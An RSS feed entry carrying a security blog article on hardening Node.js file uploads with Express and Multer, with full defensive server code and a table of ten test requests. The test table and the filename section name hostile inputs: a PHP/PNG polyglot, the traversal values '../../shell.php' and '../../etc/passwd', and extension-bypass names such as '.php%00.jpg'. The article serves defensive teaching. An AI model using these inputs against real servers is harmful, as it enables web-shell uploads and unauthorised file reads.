<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Owasp | FirewallSync</title><link>https://firewallsync.com/tags/owasp/</link><description>Practical cybersecurity writing for engineering teams that ship fast.</description><language>en-us</language><image><url>https://firewallsync.com/icon-512.png</url><title>FirewallSync</title><link>https://firewallsync.com/</link></image><lastBuildDate>Fri, 30 Oct 2026 04:30:00 +0000</lastBuildDate><atom:link href="https://firewallsync.com/tags/owasp/index.xml" rel="self" type="application/rss+xml"/><item><title>Secure File Uploads in Node.js: A Tested Express Setup</title><link>https://firewallsync.com/posts/secure-file-upload-nodejs-express-multer/</link><guid>https://firewallsync.com/posts/secure-file-upload-nodejs-express-multer/</guid><pubDate>Fri, 30 Oct 2026 04:30:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AppSec &amp; APIs</category><description>Most upload bugs come from trusting something the client sent: the filename, the Content-Type, or the idea that a file sitting in a public folder won't be run. This guide builds an Express 5 and Multer 2 upload endpoint that limits size and count, checks magic bytes against an allowlist, renames and stores files outside the webroot, and serves them back safely. We ran ten attack requests against it, and one of them got through the type check, which is why the storage rules matter more.</description><enclosure url="https://firewallsync.com/posts/secure-file-upload-nodejs-express-multer/cover_hu17749453253162896976.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/secure-file-upload-nodejs-express-multer/cover_hu17749453253162896976.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/secure-file-upload-nodejs-express-multer/cover_hu17749453253162896976.jpg" alt="Close-up of a weathered green roadside mailbox at the end of a row of mailboxes on wooden posts, with fallen leaves and a blurred road behind" width="1200" height="630"></p><p>A secure file upload accepts only the types you need, decides the filename and extension itself, stores the bytes somewhere nothing will execute or serve them directly, and checks authorization again on download. The <a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html">OWASP File Upload Cheat Sheet</a> says it plainly: &ldquo;There is no silver bullet in validating user content.&rdquo; No single check is enough, so you stack them.</p>
<p>This guide builds that stack in Node.js and tests it. Versions: Node.js 22.23.4, Express 5.3.0, Multer 2.5.0, file-type 22.3.0 and sharp 0.35.5, installed from npm on 2026-10-30.</p>
<h2 id="why-uploads-keep-turning-into-breaches">Why uploads keep turning into breaches</h2>
<p>Unrestricted upload is <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a>. In the CISA KEV catalog (version 2026.10.29), 24 entries carry CWE-434, eight of them added in 2026. The count is a floor: not every KEV entry has a CWE assigned. The most recent is the Magento &ldquo;PolyShell&rdquo; bug we covered in <a href="/posts/magento-cve-2026-48356-polyshell-patch-and-hunt/">Magento CVE-2026-48356: Patch and Hunt</a>, where the fix included making sure upload directories can&rsquo;t execute code.</p>
<p>The OWASP cheat sheet groups the risks into two kinds:</p>
<ul>
<li><strong>Malicious files</strong>: exploits for the parser that processes the file, phishing documents, zip and XML bombs, overwriting existing files, and active content such as HTML or SVG that attacks other users.</li>
<li><strong>Public retrieval</strong>: if uploads are publicly reachable, attackers can enumerate other users&rsquo; files, use them for DoS, or host illegal content on your domain.</li>
</ul>
<h2 id="the-endpoint-step-by-step">The endpoint, step by step</h2>
<p>Here is the full server. Each control is explained below.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// Node.js 22, Express 5.3.0, Multer 2.5.0, file-type 22.3.0 (package.json: &#34;type&#34;: &#34;module&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">import</span> <span style="color:#a6e22e">express</span> <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;express&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#a6e22e">multer</span> <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;multer&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">import</span> { <span style="color:#a6e22e">fileTypeFromBuffer</span> } <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;file-type&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">import</span> { <span style="color:#a6e22e">randomUUID</span> } <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;node:crypto&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">import</span> { <span style="color:#a6e22e">writeFile</span>, <span style="color:#a6e22e">mkdir</span> } <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;node:fs/promises&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#a6e22e">path</span> <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;node:path&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">UPLOAD_DIR</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">UPLOAD_DIR</span> <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;/srv/app-uploads&#39;</span>; <span style="color:#75715e">// not under any static/public dir
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ALLOWED</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Map</span>([            <span style="color:#75715e">// detected type -&gt; extension we will store
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  [<span style="color:#e6db74">&#39;image/png&#39;</span>, <span style="color:#e6db74">&#39;png&#39;</span>],
</span></span><span style="display:flex;"><span>  [<span style="color:#e6db74">&#39;image/jpeg&#39;</span>, <span style="color:#e6db74">&#39;jpg&#39;</span>],
</span></span><span style="display:flex;"><span>  [<span style="color:#e6db74">&#39;application/pdf&#39;</span>, <span style="color:#e6db74">&#39;pdf&#39;</span>],
</span></span><span style="display:flex;"><span>]);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">files</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Map</span>();             <span style="color:#75715e">// id -&gt; { owner, mime, ext }; use your database in production
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">upload</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">multer</span>({
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">storage</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">multer</span>.<span style="color:#a6e22e">memoryStorage</span>(),   <span style="color:#75715e">// bytes stay in memory until they pass checks
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">limits</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">fileSize</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1024</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1024</span>, <span style="color:#a6e22e">files</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">fields</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span>, <span style="color:#a6e22e">parts</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> },
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Stand-in for your real auth middleware
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">requireUser</span>(<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">next</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">user</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;x-demo-user&#39;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">user</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">401</span>).<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;login required&#39;</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">user</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">id</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">user</span> };
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">next</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#39;/uploads&#39;</span>, <span style="color:#a6e22e">requireUser</span>, <span style="color:#a6e22e">upload</span>.<span style="color:#a6e22e">single</span>(<span style="color:#e6db74">&#39;file&#39;</span>), <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">file</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">400</span>).<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;no file&#39;</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">detected</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fileTypeFromBuffer</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">file</span>.<span style="color:#a6e22e">buffer</span>);   <span style="color:#75715e">// magic bytes, not the client&#39;s Content-Type
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">detected</span> <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">ALLOWED</span>.<span style="color:#a6e22e">has</span>(<span style="color:#a6e22e">detected</span>.<span style="color:#a6e22e">mime</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">415</span>).<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;file type not allowed&#39;</span> });
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomUUID</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ext</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">ALLOWED</span>.<span style="color:#a6e22e">get</span>(<span style="color:#a6e22e">detected</span>.<span style="color:#a6e22e">mime</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">mkdir</span>(<span style="color:#a6e22e">UPLOAD_DIR</span>, { <span style="color:#a6e22e">recursive</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0o700</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Server-chosen name; &#39;wx&#39; fails instead of overwriting; 0o600 = no execute bit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">writeFile</span>(<span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">join</span>(<span style="color:#a6e22e">UPLOAD_DIR</span>, <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">id</span><span style="color:#e6db74">}</span><span style="color:#e6db74">.</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">ext</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>), <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">file</span>.<span style="color:#a6e22e">buffer</span>, { <span style="color:#a6e22e">flag</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;wx&#39;</span>, <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0o600</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">files</span>.<span style="color:#a6e22e">set</span>(<span style="color:#a6e22e">id</span>, { <span style="color:#a6e22e">owner</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">id</span>, <span style="color:#a6e22e">mime</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">detected</span>.<span style="color:#a6e22e">mime</span>, <span style="color:#a6e22e">ext</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">201</span>).<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">id</span> });
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">UUID</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/files/:id&#39;</span>, <span style="color:#a6e22e">requireUser</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">meta</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">UUID</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">id</span>) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">files</span>.<span style="color:#a6e22e">get</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">id</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">meta</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">owner</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">id</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">404</span>).<span style="color:#a6e22e">end</span>();  <span style="color:#75715e">// authz on every download
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">set</span>({
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;Content-Type&#39;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">mime</span>,                       <span style="color:#75715e">// the type we detected, never the client&#39;s
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#e6db74">&#39;Content-Disposition&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`attachment; filename=&#34;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">id</span><span style="color:#e6db74">}</span><span style="color:#e6db74">.</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">ext</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;`</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;X-Content-Type-Options&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;nosniff&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;Content-Security-Policy&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;default-src &#39;none&#39;; sandbox&#34;</span>,
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">sendFile</span>(<span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">id</span><span style="color:#e6db74">}</span><span style="color:#e6db74">.</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">ext</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, { <span style="color:#a6e22e">root</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">UPLOAD_DIR</span> });
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>((<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">next</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">err</span> <span style="color:#66d9ef">instanceof</span> <span style="color:#a6e22e">multer</span>.<span style="color:#a6e22e">MulterError</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">status</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">code</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;LIMIT_FILE_SIZE&#39;</span> <span style="color:#f92672">?</span> <span style="color:#ae81ff">413</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">400</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#a6e22e">status</span>).<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">code</span> });
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">next</span>(<span style="color:#a6e22e">err</span>);
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#ae81ff">3000</span>, () =&gt; <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">&#39;listening on :3000&#39;</span>));
</span></span></code></pre></div><p>The <code>x-demo-user</code> header and the in-memory <code>files</code> map exist only so the example runs on its own. Replace them with your session middleware and a database table.</p>
<h3 id="1-authenticate-before-parsing-and-only-on-the-routes-that-need-it">1. Authenticate before parsing, and only on the routes that need it</h3>
<p><code>requireUser</code> runs before <code>upload.single()</code>, so an anonymous request is rejected before Multer reads a byte of the body. Multer&rsquo;s README warns: &ldquo;Never add multer as a global middleware since a malicious user could upload files to a route that you didn&rsquo;t anticipate.&rdquo; Mount it per route, as above.</p>
<h3 id="2-set-every-limit">2. Set every limit</h3>
<p>Multer passes <code>limits</code> straight to busboy, and the defaults in the Multer 2.5.0 README are generous: <code>fileSize</code>, <code>files</code>, <code>parts</code> and <code>fields</code> all default to <code>Infinity</code>. The README also notes that &ldquo;Limits apply to the whole request; there is no per-file limit.&rdquo; Set them to what the feature needs. Map <code>LIMIT_FILE_SIZE</code> to 413 and other Multer errors to 400 in your error handler, as the example does.</p>
<p><code>memoryStorage()</code> holds the whole file in RAM, which is why <code>fileSize</code> matters. For large files, use disk storage into a private temp directory and run the same checks before moving the file into place. If you also accept compressed data, the limit has to apply after decompression; see <a href="/posts/nodejs-decompression-bomb-zlib-limits/">Node.js decompression bombs</a>.</p>
<h3 id="3-detect-the-type-from-content-against-an-allowlist">3. Detect the type from content, against an allowlist</h3>
<p>The <code>Content-Type</code> of each part is whatever the client says. OWASP: &ldquo;it is trivial to spoof.&rdquo; <code>fileTypeFromBuffer()</code> reads the file&rsquo;s magic number instead, and we compare the result to a short allowlist of types the feature actually needs.</p>
<p>Know the limits of this check. The file-type readme says detection &ldquo;is a best-effort hint. It does not guarantee the file is actually of that type or that the file is valid/not malformed.&rdquo; It also covers only binary formats, &ldquo;not text-based formats like <code>.txt</code>, <code>.csv</code>, <code>.svg</code>&rdquo;. If you need text formats, validate them with a real parser.</p>
<h3 id="4-choose-the-name-and-extension-yourself">4. Choose the name and extension yourself</h3>
<p>The stored name is a UUID plus the extension mapped from the detected type. The user&rsquo;s <code>originalname</code> is never used on disk, which removes the whole class of tricks OWASP lists for extensions (<code>.jpg.php</code>, <code>.php%00.jpg</code>, <code>.pHp</code>, <code>.phtml</code>, <code>shell.asp:.jpg</code>) and path traversal in filenames. If you need to show the original name, store it as data in your database and escape it on output.</p>
<p>The <code>wx</code> flag makes <code>writeFile</code> fail if the path exists rather than overwrite it. Mode <code>0o600</code> means no execute bit, and your process umask can only make it stricter.</p>
<h3 id="5-store-outside-anything-that-serves-or-executes-files">5. Store outside anything that serves or executes files</h3>
<p>OWASP ranks storage options in this order: a different host, then outside the webroot, then inside the webroot with write-only permissions. <code>UPLOAD_DIR</code> must not be inside <code>express.static()</code>, your nginx <code>root</code>, or a PHP document root. Private object storage (an S3 bucket with <a href="/posts/s3-block-public-access-what-the-four-settings-do-and-how-to-enforce-them/">Block Public Access</a> on, served by short-lived signed URLs) satisfies &ldquo;different host&rdquo;.</p>
<p>If files have to live under a web server&rsquo;s document root, also turn off per-directory overrides there. OWASP&rsquo;s example is Apache <code>AllowOverride None</code>, so an uploaded <code>.htaccess</code> can&rsquo;t remap <code>.png</code> to the PHP handler. For PHP stacks, our <a href="/posts/php-ini-security-hardening-production-settings/">php.ini hardening guide</a> covers the upload-related settings.</p>
<h3 id="6-serve-through-a-handler-with-defensive-headers">6. Serve through a handler with defensive headers</h3>
<p>The download route checks ownership on every request. Without that, a guessable or leaked ID becomes an <a href="/posts/idor-vulnerabilities-how-to-find-and-fix-insecure-direct-object-references/">IDOR</a>. It then sets four headers:</p>
<table>
  <thead>
      <tr>
          <th>Header</th>
          <th>What it does here</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>Content-Type</code> from detection</td>
          <td>The browser gets the type you verified, not the one the uploader claimed</td>
      </tr>
      <tr>
          <td><code>Content-Disposition: attachment</code></td>
          <td>The browser downloads the file instead of rendering it on your origin</td>
      </tr>
      <tr>
          <td><code>X-Content-Type-Options: nosniff</code></td>
          <td>Stops the browser second-guessing the type; see <a href="/posts/http-security-headers-hsts-nosniff-referrer-policy-and-permissions-policy-explained/">HTTP security headers</a></td>
      </tr>
      <tr>
          <td><code>Content-Security-Policy: default-src 'none'; sandbox</code></td>
          <td>If the file is rendered anyway, it gets no scripts, no subresources and an opaque origin</td>
      </tr>
  </tbody>
</table>
<p>Serving user files from a separate domain (for example a dedicated <code>usercontent</code> domain) adds one more layer: active content never runs on the same origin as your session cookies.</p>
<h2 id="what-we-tested-and-what-got-through">What we tested, and what got through</h2>
<p>We started the server with <code>UPLOAD_DIR</code> set to a temp directory and sent ten requests with curl:</p>
<table>
  <thead>
      <tr>
          <th>#</th>
          <th>Request</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>Valid 1x1 PNG</td>
          <td>201, stored as <code>&lt;uuid&gt;.png</code></td>
      </tr>
      <tr>
          <td>2</td>
          <td>PHP script named <code>shell.jpg</code>, sent as <code>image/jpeg</code></td>
          <td>415, type not allowed</td>
      </tr>
      <tr>
          <td>3</td>
          <td>SVG containing <code>&lt;script&gt;</code>, sent as <code>image/svg+xml</code></td>
          <td>415, type not allowed</td>
      </tr>
      <tr>
          <td>4</td>
          <td>Valid PNG with a PHP payload appended, filename <code>../../shell.php</code></td>
          <td><strong>201</strong>, stored as <code>&lt;uuid&gt;.png</code></td>
      </tr>
      <tr>
          <td>5</td>
          <td>6 MB file</td>
          <td>413, <code>LIMIT_FILE_SIZE</code></td>
      </tr>
      <tr>
          <td>6</td>
          <td>Two files in one request</td>
          <td>400, <code>LIMIT_FILE_COUNT</code></td>
      </tr>
      <tr>
          <td>7</td>
          <td>Upload without a user</td>
          <td>401</td>
      </tr>
      <tr>
          <td>8</td>
          <td>Owner downloads file from test 1</td>
          <td>200 with all four headers above</td>
      </tr>
      <tr>
          <td>9</td>
          <td>Another user requests the same ID</td>
          <td>404</td>
      </tr>
      <tr>
          <td>10</td>
          <td>ID of <code>../../etc/passwd</code> (URL-encoded)</td>
          <td>404</td>
      </tr>
  </tbody>
</table>
<p>Both stored files were <code>-rw-------</code>. Test 4 is the one to remember. A PNG with code appended is still a valid PNG, so magic-byte detection passed it. It did no harm because of what came after: the traversal filename was ignored, the stored name ended in <code>.png</code>, the directory isn&rsquo;t served or interpreted, and downloads go out as attachments with a sandbox CSP. Remove any one of those and the polyglot becomes more dangerous.</p>
<h2 id="re-encode-images-when-you-can">Re-encode images when you can</h2>
<p>For images, OWASP recommends decoding and re-encoding to strip anything that isn&rsquo;t pixels. With sharp, metadata is dropped by default (&ldquo;The default behaviour, when withMetadata is not used, is to strip all metadata&rdquo;, per its type definitions):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#a6e22e">sharp</span> <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;sharp&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">// limitInputPixels guards against decompression-style image bombs; sharp&#39;s default is 268402689 pixels
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">clean</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">sharp</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">file</span>.<span style="color:#a6e22e">buffer</span>, { <span style="color:#a6e22e">limitInputPixels</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">40_000_000</span> }).<span style="color:#a6e22e">png</span>().<span style="color:#a6e22e">toBuffer</span>();
</span></span></code></pre></div><p>Run on the polyglot from test 4, the 97-byte input contained <code>&lt;?php</code>; the 90-byte output did not. OWASP adds a caveat worth keeping: the image library &ldquo;itself handles untrusted input&rdquo;, so keep it patched and, for high-volume or high-risk uploads, run processing in a separate worker or sandbox. The file-type readme makes the same point for its own parser, recommending a size limit and &ldquo;a worker thread with a timeout&rdquo; for untrusted files.</p>
<h2 id="checklist">Checklist</h2>
<ul>
<li>Authenticate before parsing; mount Multer only on upload routes.</li>
<li>Set <code>fileSize</code>, <code>files</code>, <code>fields</code> and <code>parts</code>.</li>
<li>Detect type from content; compare to a short allowlist; reject text formats you can&rsquo;t parse.</li>
<li>Generate the stored name and extension; never write <code>originalname</code> to disk.</li>
<li>Store outside the webroot or in private object storage, without execute permissions.</li>
<li>Serve via a handler that checks ownership and sets <code>attachment</code>, <code>nosniff</code> and a sandbox CSP.</li>
<li>Re-encode images; scan or sandbox documents if they will be opened by staff.</li>
<li>Protect the upload form from <a href="/posts/csrf-protection-samesite-cookies-tokens-and-fetch-metadata-compared/">CSRF</a> if it uses cookie auth.</li>
</ul>
<h2 id="limits-of-this-article">Limits of this article</h2>
<ul>
<li>We tested one stack (Express 5.3.0, Multer 2.5.0). Other frameworks have different defaults; check their docs for limits and filename handling.</li>
<li>We did not test antivirus scanning or Content Disarm and Reconstruction for Office or PDF files, which OWASP also recommends where applicable.</li>
<li>The in-memory metadata map and header-based &ldquo;auth&rdquo; are placeholders and are not production-ready.</li>
</ul>
<h2 id="sources-and-verification">Sources and verification</h2>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Extension bypasses, Content-Type spoofing, storage order, AllowOverride None, image re-encoding caveat</td>
          <td><a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html">OWASP File Upload Cheat Sheet</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Multer limit defaults (Infinity), &ldquo;no per-file limit&rdquo;, never mount globally</td>
          <td>Multer 2.5.0 README, as installed from npm (<a href="https://github.com/expressjs/multer">repository</a>)</td>
          <td>Verified</td>
      </tr>
      <tr>
